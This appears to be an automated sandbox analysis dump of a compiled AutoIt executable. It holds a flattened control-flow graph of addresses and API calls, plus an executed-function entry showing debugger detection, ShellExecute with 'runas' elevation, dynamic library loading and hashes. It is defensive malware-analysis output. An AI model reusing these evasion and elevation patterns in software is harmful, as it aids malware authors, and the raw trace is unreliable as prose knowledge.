4 API calls 95593->95594 95595 7ff6a5375a60 Concurrency::wait 95593->95595 95594->95593 95595->95478 95597 7ff6a5373f29 wcsftime 95596->95597 95598 7ff6a5373f4b 95597->95598 95599 7ff6a53bba2c memcpy_s 95597->95599 95600 7ff6a53756d4 5 API calls 95598->95600 95602 7ff6a53bba4d GetOpenFileNameW 95599->95602 95601 7ff6a5373f56 95600->95601 96084 7ff6a5373eb4 95601->96084 95603 7ff6a5373858 95602->95603 95604 7ff6a53bbab0 95602->95604 95603->95486 95603->95489 95606 7ff6a5377cf4 4 API calls 95604->95606 95608 7ff6a53bbabc 95606->95608 95610 7ff6a5373f6c 96102 7ff6a5376394 95610->96102 95613 7ff6a5373fb6 wcsftime 95612->95613 96145 7ff6a5379734 95613->96145 95615 7ff6a5373fc4 95627 7ff6a5374050 95615->95627 96155 7ff6a5374d28 77 API calls 95615->96155 95617 7ff6a5373fd3 95617->95627 96156 7ff6a5374b0c 79 API calls Concurrency::wait 95617->96156 95619 7ff6a5373fe0 95620 7ff6a5373fe8 GetFullPathNameW 95619->95620 95619->95627 95621 7ff6a5377cf4 4 API calls 95620->95621 95622 7ff6a5374014 95621->95622 95623 7ff6a5377cf4 4 API calls 95622->95623 95625 7ff6a5374028 95623->95625 95624 7ff6a53bbac2 wcscat 95625->95624 95626 7ff6a5377cf4 4 API calls 95625->95626 95626->95627 95627->95489 96160 7ff6a5373d90 7 API calls 95628->96160 95630 7ff6a53738d5 95631 7ff6a5373cbc CreateWindowExW CreateWindowExW ShowWindow ShowWindow 95630->95631 95632->95489 95633->95496 95634->95509 95636 7ff6a5379be5 wcsftime 95635->95636 95637 7ff6a5377cf4 4 API calls 95636->95637 95638 7ff6a5379c1b 95636->95638 95637->95638 95641 7ff6a5379c4a Concurrency::wait 95638->95641 95746 7ff6a5379d84 95638->95746 95640 7ff6a5379d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95640->95641 95641->95640 95644 7ff6a5379d21 95641->95644 95646 7ff6a537ec00 4 API calls 95641->95646 95648 7ff6a5374680 4 API calls 95641->95648 95642 7ff6a537ec00 4 API calls 95645 7ff6a5379d4a 95642->95645 95643 7ff6a5379d57 Concurrency::wait 95643->95526 95644->95642 95644->95643 95647 7ff6a5374680 4 API calls 95645->95647 95646->95641 95647->95643 95648->95641 95749 7ff6a5376d64 95649->95749 95652 7ff6a5376d64 2 API calls 95655 7ff6a537649d 95652->95655 95653 7ff6a53764ba FreeLibrary 95654 7ff6a53764c0 95653->95654 95753 7ff6a53a48e0 95654->95753 95655->95653 95655->95654 95658 7ff6a53764db LoadLibraryExW 95772 7ff6a5376cc4 95658->95772 95659 7ff6a53bc8f6 95661 7ff6a537652c 63 API calls 95659->95661 95663 7ff6a53bc8fe 95661->95663 95665 7ff6a5376cc4 3 API calls 95663->95665 95667 7ff6a53bc907 95665->95667 95666 7ff6a5376505 95666->95667 95668 7ff6a5376512 95666->95668 95794 7ff6a53767d8 95667->95794 95669 7ff6a537652c 63 API calls 95668->95669 95671 7ff6a5375846 95669->95671 95671->95533 95671->95534 95674 7ff6a53bc93f 95997 7ff6a5381a30 95675->95997 95677 7ff6a537f029 95678 7ff6a53ca7a8 95677->95678 95679 7ff6a537f040 95677->95679 96013 7ff6a537ee20 5 API calls Concurrency::wait 95678->96013 95682 7ff6a5394c68 4 API calls 95679->95682 95681 7ff6a53ca7bc 95683 7ff6a537f066 95682->95683 95685 7ff6a537f08f 95683->95685 96012 7ff6a537f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95683->96012 96008 7ff6a537f1bc 95685->96008 95687 7ff6a537f0c6 95687->95545 95689 7ff6a5375ac6 95688->95689 95690 7ff6a5375ae4 95688->95690 95692 7ff6a537e0a8 4 API calls 95689->95692 95691 7ff6a5377cf4 4 API calls 95690->95691 95693 7ff6a537592d 95691->95693 95692->95693 95694 7ff6a5398e28 95693->95694 95695 7ff6a5398e3f 95694->95695 95696 7ff6a5398ea4 95694->95696 95706 7ff6a5398e63 95695->95706 96015 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95695->96015 96017 7ff6a5398d98 35 API calls 2 library calls 95696->96017 95699 7ff6a5398ed6 95701 7ff6a5398ee2 95699->95701 95705 7ff6a5398ef9 95699->95705 95700 7ff6a5398e49 96016 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95700->96016 96018 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95701->96018 95704 7ff6a5398e54 95704->95563 95709 7ff6a5398ef2 95705->95709 95710 7ff6a53a2c80 37 API calls wcsftime 95705->95710 95706->95563 95707 7ff6a5398ee7 96019 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95707->96019 95709->95563 95710->95705 95713 7ff6a537dfac 95711->95713 95712 7ff6a5394c68 4 API calls 95714 7ff6a53759f5 95712->95714 95713->95712 95713->95714 95715 7ff6a537d670 95714->95715 95716 7ff6a537d698 95715->95716 95720 7ff6a537d6a2 95716->95720 96020 7ff6a537880c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95716->96020 95719 7ff6a53c9d43 95721 7ff6a537d7de 95720->95721 96021 7ff6a537ee20 5 API calls Concurrency::wait 95720->96021 95721->95593 95723 7ff6a53f29c8 95722->95723 96022 7ff6a53f2b70 95723->96022 95726 7ff6a53f29de 95726->95536 95727 7ff6a53767d8 45 API calls 95728 7ff6a53f2a03 95727->95728 95729 7ff6a53767d8 45 API calls 95728->95729 95730 7ff6a53f2a23 95729->95730 95731 7ff6a53767d8 45 API calls 95730->95731 95732 7ff6a53f2a49 95731->95732 95733 7ff6a53767d8 45 API calls 95732->95733 95734 7ff6a53f2a6d 95733->95734 95735 7ff6a53767d8 45 API calls 95734->95735 95736 7ff6a53f2ac5 95735->95736 95737 7ff6a53f240c 32 API calls 95736->95737 95738 7ff6a53f2ada 95737->95738 95738->95726 96027 7ff6a53f1d48 95738->96027 95741 7ff6a537653d 95740->95741 95742 7ff6a5376542 95740->95742 95743 7ff6a53a4970 62 API calls 95741->95743 95744 7ff6a5376558 95742->95744 95745 7ff6a537656f FreeLibrary 95742->95745 95743->95742 95744->95547 95745->95744 95747 7ff6a537a7c0 4 API calls 95746->95747 95748 7ff6a5379d99 95747->95748 95748->95638 95750 7ff6a5376490 95749->95750 95751 7ff6a5376d74 LoadLibraryA 95749->95751 95750->95652 95750->95655 95751->95750 95752 7ff6a5376d89 GetProcAddress 95751->95752 95752->95750 95754 7ff6a53a47fc 95753->95754 95755 7ff6a53a482a 95754->95755 95758 7ff6a53a485c 95754->95758 95814 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95755->95814 95757 7ff6a53a482f 95815 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95757->95815 95759 7ff6a53a486f 95758->95759 95760 7ff6a53a4862 95758->95760 95802 7ff6a53afeb4 95759->95802 95816 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95760->95816 95764 7ff6a53764cf 95764->95658 95764->95659 95766 7ff6a53a4890 95809 7ff6a53b0304 95766->95809 95767 7ff6a53a4883 95817 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95767->95817 95770 7ff6a53a48a3 95818 7ff6a539df60 LeaveCriticalSection 95770->95818 95956 7ff6a5376d1c 95772->95956 95775 7ff6a5376cf1 95776 7ff6a53764f7 95775->95776 95777 7ff6a5376d0f FreeLibrary 95775->95777 95779 7ff6a5376580 95776->95779 95777->95776 95778 7ff6a5376d1c 2 API calls 95778->95775 95780 7ff6a5394c68 4 API calls 95779->95780 95781 7ff6a53765b5 memcpy_s 95780->95781 95782 7ff6a53bc9f5 95781->95782 95783 7ff6a5376740 CreateStreamOnHGlobal 95781->95783 95792 7ff6a5376602 95781->95792 95960 7ff6a53f2e00 45 API calls 95782->95960 95785 7ff6a5376759 FindResourceExW 95783->95785 95783->95792 95785->95792 95786 7ff6a53bc97e LoadResource 95789 7ff6a53bc997 SizeofResource 95786->95789 95786->95792 95787 7ff6a53767d8 45 API calls 95787->95792 95788 7ff6a53bc9fd 95791 7ff6a53767d8 45 API calls 95788->95791 95790 7ff6a53bc9ae LockResource 95789->95790 95789->95792 95790->95792 95793 7ff6a53766e8 95791->95793 95792->95786 95792->95787 95792->95788 95792->95793 95793->95666 95795 7ff6a53767f7 95794->95795 95796 7ff6a53bca6c 95794->95796 95961 7ff6a53a4c5c 95795->95961 95799 7ff6a53f240c 95980 7ff6a53f2200 95799->95980 95801 7ff6a53f2430 95801->95674 95819 7ff6a53ab9bc EnterCriticalSection 95802->95819 95804 7ff6a53afecb 95805 7ff6a53aff54 18 API calls 95804->95805 95806 7ff6a53afed6 95805->95806 95807 7ff6a53aba10 _isindst LeaveCriticalSection 95806->95807 95808 7ff6a53a4879 95807->95808 95808->95766 95808->95767 95820 7ff6a53b0040 95809->95820 95812 7ff6a53b035e 95812->95770 95814->95757 95815->95764 95816->95764 95817->95764 95825 7ff6a53b007d try_get_function 95820->95825 95822 7ff6a53b02de 95839 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95822->95839 95824 7ff6a53b021a 95824->95812 95832 7ff6a53b7738 95824->95832 95831 7ff6a53b0211 95825->95831 95835 7ff6a539db68 37 API calls 4 library calls 95825->95835 95827 7ff6a53b0277 95827->95831 95836 7ff6a539db68 37 API calls 4 library calls 95827->95836 95829 7ff6a53b029a 95829->95831 95837 7ff6a539db68 37 API calls 4 library calls 95829->95837 95831->95824 95838 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95831->95838 95840 7ff6a53b6d04 95832->95840 95835->95827 95836->95829 95837->95831 95838->95822 95839->95824 95841 7ff6a53b6d28 95840->95841 95843 7ff6a53b6d40 95840->95843 95894 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95841->95894 95843->95841 95845 7ff6a53b6d6d 95843->95845 95844 7ff6a53b6d2d 95895 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95844->95895 95851 7ff6a53b7348 95845->95851 95849 7ff6a53b6d39 95849->95812 95897 7ff6a53b7078 95851->95897 95854 7ff6a53b73d3 95917 7ff6a53ae418 95854->95917 95855 7ff6a53b73bc 95929 7ff6a53a55b4 15 API calls _invalid_parameter_noinfo 95855->95929 95859 7ff6a53b73df 95931 7ff6a53a55b4 15 API calls _invalid_parameter_noinfo 95859->95931 95860 7ff6a53b73f7 CreateFileW 95862 7ff6a53b7469 95860->95862 95863 7ff6a53b74eb GetFileType 95860->95863 95866 7ff6a53b74b8 GetLastError 95862->95866 95871 7ff6a53b7478 CreateFileW 95862->95871 95867 7ff6a53b74f8 GetLastError 95863->95867 95870 7ff6a53b7549 95863->95870 95865 7ff6a53b73e4 95932 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95865->95932 95933 7ff6a53a5564 15 API calls 2 library calls 95866->95933 95934 7ff6a53a5564 15 API calls 2 library calls 95867->95934 95936 7ff6a53ae334 16 API calls 2 library calls 95870->95936 95871->95863 95871->95866 95873 7ff6a53b6d95 95873->95849 95896 7ff6a53ae3f4 LeaveCriticalSection 95873->95896 95874 7ff6a53b7507 CloseHandle 95875 7ff6a53b73c1 95874->95875 95876 7ff6a53b7539 95874->95876 95930 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95875->95930 95935 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95876->95935 95879 7ff6a53b7568 95881 7ff6a53b75b5 95879->95881 95937 7ff6a53b7284 67 API calls 2 library calls 95879->95937 95880 7ff6a53b753e 95880->95875 95886 7ff6a53b75ec 95881->95886 95938 7ff6a53b6de4 67 API calls 4 library calls 95881->95938 95884 7ff6a53b75e8 95885 7ff6a53b75fe 95884->95885 95884->95886 95885->95873 95888 7ff6a53b7681 CloseHandle CreateFileW 95885->95888 95939 7ff6a53b04b8 95886->95939 95889 7ff6a53b76f9 95888->95889 95890 7ff6a53b76cb GetLastError 95888->95890 95889->95873 95954 7ff6a53a5564 15 API calls 2 library calls 95890->95954 95892 7ff6a53b76d8 95955 7ff6a53ae548 16 API calls 2 library calls 95892->95955 95894->95844 95895->95849 95898 7ff6a53b70a4 95897->95898 95899 7ff6a53b70be 95897->95899 95898->95899 95900 7ff6a53a55d4 memcpy_s 15 API calls 95898->95900 95902 7ff6a53b713b 95899->95902 95908 7ff6a53a55d4 memcpy_s 15 API calls 95899->95908 95901 7ff6a53b70b3 95900->95901 95903 7ff6a53ab164 _invalid_parameter_noinfo 31 API calls 95901->95903 95904 7ff6a53b718c 95902->95904 95906 7ff6a53a55d4 memcpy_s 15 API calls 95902->95906 95903->95899 95905 7ff6a53a2554 31 API calls 95904->95905 95913 7ff6a53b71ec 95904->95913 95907 7ff6a53b71e8 95905->95907 95909 7ff6a53b7181 95906->95909 95910 7ff6a53b726b 95907->95910 95907->95913 95911 7ff6a53b7130 95908->95911 95912 7ff6a53ab164 _invalid_parameter_noinfo 31 API calls 95909->95912 95914 7ff6a53ab184 _invalid_parameter_noinfo 16 API calls 95910->95914 95915 7ff6a53ab164 _invalid_parameter_noinfo 31 API calls 95911->95915 95912->95904 95913->95854 95913->95855 95916 7ff6a53b7280 95914->95916 95915->95902 95918 7ff6a53ab9bc _isindst EnterCriticalSection 95917->95918 95919 7ff6a53ae43b 95918->95919 95921 7ff6a53ae464 95919->95921 95925 7ff6a53ae4c2 EnterCriticalSection 95919->95925 95928 7ff6a53ae487 95919->95928 95920 7ff6a53aba10 _isindst LeaveCriticalSection 95922 7ff6a53ae52a 95920->95922 95923 7ff6a53ae170 16 API calls 95921->95923 95922->95859 95922->95860 95924 7ff6a53ae469 95923->95924 95926 7ff6a53ae310 wprintf EnterCriticalSection 95924->95926 95924->95928 95927 7ff6a53ae4d1 LeaveCriticalSection 95925->95927 95925->95928 95926->95928 95927->95919 95928->95920 95929->95875 95930->95873 95931->95865 95932->95875 95933->95875 95934->95874 95935->95880 95936->95879 95937->95881 95938->95884 95940 7ff6a53ae604 31 API calls 95939->95940 95942 7ff6a53b04cc 95940->95942 95941 7ff6a53b04d2 95943 7ff6a53ae548 16 API calls 95941->95943 95942->95941 95944 7ff6a53ae604 31 API calls 95942->95944 95953 7ff6a53b050c 95942->95953 95946 7ff6a53b0534 95943->95946 95947 7ff6a53b04ff 95944->95947 95945 7ff6a53ae604 31 API calls 95948 7ff6a53b0518 CloseHandle 95945->95948 95949 7ff6a53a5564 fread_s 15 API calls 95946->95949 95952 7ff6a53b0560 95946->95952 95950 7ff6a53ae604 31 API calls 95947->95950 95948->95941 95951 7ff6a53b0525 GetLastError 95948->95951 95949->95952 95950->95953 95951->95941 95952->95873 95953->95941 95953->95945 95954->95892 95955->95889 95957 7ff6a5376d2c LoadLibraryA 95956->95957 95958 7ff6a5376ce3 95956->95958 95957->95958 95959 7ff6a5376d41 GetProcAddress 95957->95959 95958->95775 95958->95778 95959->95958 95960->95788 95964 7ff6a53a4c7c 95961->95964 95965 7ff6a53a4ca6 95964->95965 95966 7ff6a537680a 95964->95966 95965->95966 95967 7ff6a53a4cb5 memcpy_s 95965->95967 95968 7ff6a53a4cd7 95965->95968 95966->95799 95977 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95967->95977 95979 7ff6a539df54 EnterCriticalSection 95968->95979 95972 7ff6a53a4cca 95978 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95972->95978 95977->95972 95978->95966 95983 7ff6a53a47bc 95980->95983 95982 7ff6a53f2210 95982->95801 95986 7ff6a53a4724 95983->95986 95987 7ff6a53a4732 95986->95987 95988 7ff6a53a4746 95986->95988 95994 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95987->95994 95990 7ff6a53a4742 95988->95990 95996 7ff6a53abef8 6 API calls __crtLCMapStringW 95988->95996 95990->95982 95991 7ff6a53a4737 95995 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95991->95995 95994->95991 95995->95990 95996->95990 95998 7ff6a5381a48 95997->95998 95999 7ff6a5381c5f 95997->95999 96006 7ff6a5381a90 95998->96006 96014 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95998->96014 95999->95677 96006->95677 96009 7ff6a537f1ce 96008->96009 96011 7ff6a537f1d8 96008->96011 96010 7ff6a5381a30 45 API calls 96009->96010 96010->96011 96011->95687 96012->95685 96013->95681 96015->95700 96016->95704 96017->95699 96018->95707 96019->95709 96020->95720 96021->95719 96026 7ff6a53f2bae 96022->96026 96023 7ff6a53f240c 32 API calls 96023->96026 96024 7ff6a53f29da 96024->95726 96024->95727 96025 7ff6a53767d8 45 API calls 96025->96026 96026->96023 96026->96024 96026->96025 96028 7ff6a53f1d71 96027->96028 96029 7ff6a53f1d61 96027->96029 96031 7ff6a53f1dbf 96028->96031 96032 7ff6a53a48e0 89 API calls 96028->96032 96037 7ff6a53f1d7a 96028->96037 96030 7ff6a53a48e0 89 API calls 96029->96030 96030->96028 96054 7ff6a53f2038 96031->96054 96034 7ff6a53f1d9e 96032->96034 96034->96031 96038 7ff6a53f1da7 96034->96038 96035 7ff6a53f1df5 96036 7ff6a53f1df9 96035->96036 96040 7ff6a53f1e1c 96035->96040 96039 7ff6a53f1e07 96036->96039 96042 7ff6a53a4970 62 API calls 96036->96042 96037->95726 96038->96037 96066 7ff6a53a4970 96038->96066 96039->96037 96043 7ff6a53a4970 62 API calls 96039->96043 96044 7ff6a53f1e4a 96040->96044 96045 7ff6a53f1e2a 96040->96045 96042->96039 96043->96037 96058 7ff6a53f1e88 96044->96058 96047 7ff6a53f1e38 96045->96047 96048 7ff6a53a4970 62 API calls 96045->96048 96047->96037 96049 7ff6a53a4970 62 API calls 96047->96049 96048->96047 96049->96037 96050 7ff6a53f1e52 96051 7ff6a53f1e68 96050->96051 96052 7ff6a53a4970 62 API calls 96050->96052 96051->96037 96053 7ff6a53a4970 62 API calls 96051->96053 96052->96051 96053->96037 96055 7ff6a53f2069 96054->96055 96057 7ff6a53f2056 memcpy_s 96054->96057 96056 7ff6a53a4c5c _fread_nolock 45 API calls 96055->96056 96056->96057 96057->96035 96059 7ff6a53f1fb0 96058->96059 96064 7ff6a53f1eaa 96058->96064 96062 7ff6a53f1fd3 96059->96062 96080 7ff6a53a2a04 60 API calls 2 library calls 96059->96080 96061 7ff6a53f1bd0 45 API calls 96061->96064 96062->96050 96064->96059 96064->96061 96064->96062 96078 7ff6a53f1c9c 45 API calls 96064->96078 96079 7ff6a53f20cc 60 API calls 96064->96079 96067 7ff6a53a498e 96066->96067 96068 7ff6a53a49a3 96066->96068 96082 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 96067->96082 96077 7ff6a53a499e 96068->96077 96081 7ff6a539df54 EnterCriticalSection 96068->96081 96070 7ff6a53a4993 96083 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 96070->96083 96073 7ff6a53a49b9 96074 7ff6a53a48ec 60 API calls 96073->96074 96075 7ff6a53a49c2 96074->96075 96076 7ff6a539df60 fread_s LeaveCriticalSection 96075->96076 96076->96077 96077->96037 96078->96064 96079->96064 96080->96062 96082->96070 96083->96077 96085 7ff6a53b8f90 wcsftime 96084->96085 96086 7ff6a5373ec4 GetLongPathNameW 96085->96086 96087 7ff6a5377cf4 4 API calls 96086->96087 96088 7ff6a5373eed 96087->96088 96089 7ff6a5374074 96088->96089 96090 7ff6a5379640 4 API calls 96089->96090 96091 7ff6a537408e 96090->96091 96092 7ff6a53756d4 5 API calls 96091->96092 96093 7ff6a537409b 96092->96093 96094 7ff6a53740a7 96093->96094 96095 7ff6a53bbada 96093->96095 96096 7ff6a5374680 4 API calls 96094->96096 96099 7ff6a53bbb0f 96095->96099 96136 7ff6a5391ad0 CompareStringW 96095->96136 96098 7ff6a53740b5 96096->96098 96132 7ff6a53740e8 96098->96132 96101 7ff6a53740cb Concurrency::wait 96101->95610 96103 7ff6a5376460 105 API calls 96102->96103 96104 7ff6a53763e5 96103->96104 96105 7ff6a53bc656 96104->96105 96106 7ff6a5376460 105 API calls 96104->96106 96107 7ff6a53f2948 90 API calls 96105->96107 96108 7ff6a5376400 96106->96108 96109 7ff6a53bc66e 96107->96109 96108->96105 96110 7ff6a5376408 96108->96110 96111 7ff6a53bc690 96109->96111 96112 7ff6a53bc672 96109->96112 96114 7ff6a5376414 96110->96114 96115 7ff6a53bc67b 96110->96115 96113 7ff6a5394c68 4 API calls 96111->96113 96116 7ff6a537652c 63 API calls 96112->96116 96130 7ff6a53bc6dd Concurrency::wait 96113->96130 96137 7ff6a537e774 143 API calls Concurrency::wait 96114->96137 96138 7ff6a53ec5c8 77 API calls wprintf 96115->96138 96116->96115 96119 7ff6a53bc68a 96119->96111 96120 7ff6a5376438 96120->95603 96121 7ff6a53bc895 96122 7ff6a537652c 63 API calls 96121->96122 96131 7ff6a53bc8a9 96122->96131 96127 7ff6a537ec00 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96127->96130 96130->96121 96130->96127 96130->96131 96139 7ff6a53e7400 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96130->96139 96140 7ff6a53e730c 39 API calls 96130->96140 96141 7ff6a53f0210 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96130->96141 96142 7ff6a537b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96130->96142 96143 7ff6a5379940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96130->96143 96131->96121 96144 7ff6a53e76d8 77 API calls 3 library calls 96131->96144 96133 7ff6a5374107 96132->96133 96135 7ff6a5374130 memcpy_s 96132->96135 96134 7ff6a5394c68 4 API calls 96133->96134 96134->96135 96135->96101 96136->96095 96137->96120 96138->96119 96139->96130 96140->96130 96141->96130 96142->96130 96143->96130 96144->96131 96146 7ff6a5379762 96145->96146 96152 7ff6a537988d 96145->96152 96147 7ff6a5394c68 4 API calls 96146->96147 96146->96152 96149 7ff6a5379791 96147->96149 96148 7ff6a5394c68 4 API calls 96150 7ff6a537981c 96148->96150 96149->96148 96150->96152 96157 7ff6a537abe0 81 API calls 2 library calls 96150->96157 96158 7ff6a5379940 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96150->96158 96159 7ff6a537b26c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 96150->96159 96152->95615 96155->95617 96156->95619 96157->96150 96158->96150 96159->96150 96160->95630 96161 7ff6a53ac51c 96162 7ff6a53ac567 96161->96162 96167 7ff6a53ac52b fread_s 96161->96167 96169 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 96162->96169 96164 7ff6a53ac54e HeapAlloc 96165 7ff6a53ac565 96164->96165 96164->96167 96167->96162 96167->96164 96168 7ff6a539925c EnterCriticalSection LeaveCriticalSection fread_s 96167->96168 96168->96167 96169->96165 96170 7ff6a53847e1 96171 7ff6a5384d57 96170->96171 96175 7ff6a53847f2 96170->96175 96201 7ff6a537ee20 5 API calls Concurrency::wait 96171->96201 96173 7ff6a5384d66 96202 7ff6a537ee20 5 API calls Concurrency::wait 96173->96202 96175->96173 96176 7ff6a5384862 96175->96176 96177 7ff6a5384df3 96175->96177 96179 7ff6a53866c0 300 API calls 96176->96179 96197 7ff6a5383c80 96176->96197 96203 7ff6a53f0978 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96177->96203 96179->96197 96180 7ff6a53d05be 96205 7ff6a53f34e4 77 API calls 3 library calls 96180->96205 96181 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 96181->96197 96184 7ff6a53d05d1 96185 7ff6a5384ac0 96186 7ff6a5384fe7 96190 7ff6a537e0a8 4 API calls 96186->96190 96187 7ff6a5383dde 96188 7ff6a537e0a8 4 API calls 96188->96187 96189 7ff6a53cfefe 96192 7ff6a537e0a8 4 API calls 96189->96192 96190->96187 96191 7ff6a5384a8f 96191->96185 96191->96189 96194 7ff6a5384aa9 96191->96194 96192->96185 96193 7ff6a537e0a8 4 API calls 96193->96197 96194->96185 96194->96188 96196 7ff6a5379640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 96196->96197 96197->96180 96197->96181 96197->96186 96197->96187 96197->96191 96197->96193 96197->96194 96197->96196 96198 7ff6a5394f0c 34 API calls __scrt_initialize_thread_safe_statics 96197->96198 96199 7ff6a53950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 96197->96199 96200 7ff6a5385360 300 API calls Concurrency::wait 96197->96200 96204 7ff6a53f34e4 77 API calls 3 library calls 96197->96204 96198->96197 96199->96197 96200->96197 96201->96173 96202->96177 96203->96197 96204->96197 96205->96184 96206 7ff6a5398fac 96207 7ff6a5398fd2 GetModuleHandleW 96206->96207 96208 7ff6a539901c 96206->96208 96207->96208 96209 7ff6a5398fdf 96207->96209 96223 7ff6a53ab9bc EnterCriticalSection 96208->96223 96209->96208 96224 7ff6a5399164 GetModuleHandleExW 96209->96224 96211 7ff6a53aba10 _isindst LeaveCriticalSection 96215 7ff6a53990f0 96211->96215 96212 7ff6a5399026 96213 7ff6a53990a0 96212->96213 96217 7ff6a53aaa8c 30 API calls 96212->96217 96222 7ff6a53990cb 96212->96222 96214 7ff6a53990b8 96213->96214 96219 7ff6a53aada4 75 API calls 96213->96219 96220 7ff6a53aada4 75 API calls 96214->96220 96216 7ff6a53990fc 96215->96216 96221 7ff6a5399118 11 API calls 96215->96221 96217->96213 96219->96214 96220->96222 96221->96216 96222->96211 96225 7ff6a539918e GetProcAddress 96224->96225 96226 7ff6a53991b5 96224->96226 96225->96226 96227 7ff6a53991a8 96225->96227 96228 7ff6a53991bf FreeLibrary 96226->96228 96229 7ff6a53991c5 96226->96229 96227->96226 96228->96229 96229->96208

                                                          Executed Functions

                                                          Function 00007FF6A53737B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145windowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A53737F2
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A5373807
                                                          • GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A537388D
                                                            • Part of subcall function 00007FF6A5373F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF6A53738BF,?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A5373FFD
                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A5373924
                                                          • MessageBoxA.USER32 ref: 00007FF6A53BB888
                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A53BB8E1
                                                          • GetForegroundWindow.USER32(?,?,?,?,?,00007FF6A5373785), ref: 00007FF6A53BB968
                                                          • ShellExecuteW.SHELL32 ref: 00007FF6A53BB98F
                                                            • Part of subcall function 00007FF6A5373B84: GetSysColorBrush.USER32 ref: 00007FF6A5373B9E
                                                            • Part of subcall function 00007FF6A5373B84: LoadCursorW.USER32 ref: 00007FF6A5373BAE
                                                            • Part of subcall function 00007FF6A5373B84: LoadIconW.USER32 ref: 00007FF6A5373BC3
                                                            • Part of subcall function 00007FF6A5373B84: LoadIconW.USER32 ref: 00007FF6A5373BDC
                                                            • Part of subcall function 00007FF6A5373B84: LoadIconW.USER32 ref: 00007FF6A5373BF5
                                                            • Part of subcall function 00007FF6A5373B84: LoadImageW.USER32 ref: 00007FF6A5373C21
                                                            • Part of subcall function 00007FF6A5373B84: RegisterClassExW.USER32 ref: 00007FF6A5373C85
                                                            • Part of subcall function 00007FF6A5373CBC: CreateWindowExW.USER32 ref: 00007FF6A5373D0C
                                                            • Part of subcall function 00007FF6A5373CBC: CreateWindowExW.USER32 ref: 00007FF6A5373D5F
                                                            • Part of subcall function 00007FF6A5373CBC: ShowWindow.USER32 ref: 00007FF6A5373D75
                                                            • Part of subcall function 00007FF6A5376258: Shell_NotifyIconW.SHELL32 ref: 00007FF6A5376350
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
                                                          • String ID: This is a third-party compiled AutoIt script.$runas
                                                          • API String ID: 1593035822-3287110873
                                                          • Opcode ID: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
                                                          • Instruction ID: 03187078855203844d13704de94c200b5eadba1638c31e10547ab1c4b3cf6e9c
                                                          • Opcode Fuzzy Hash: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
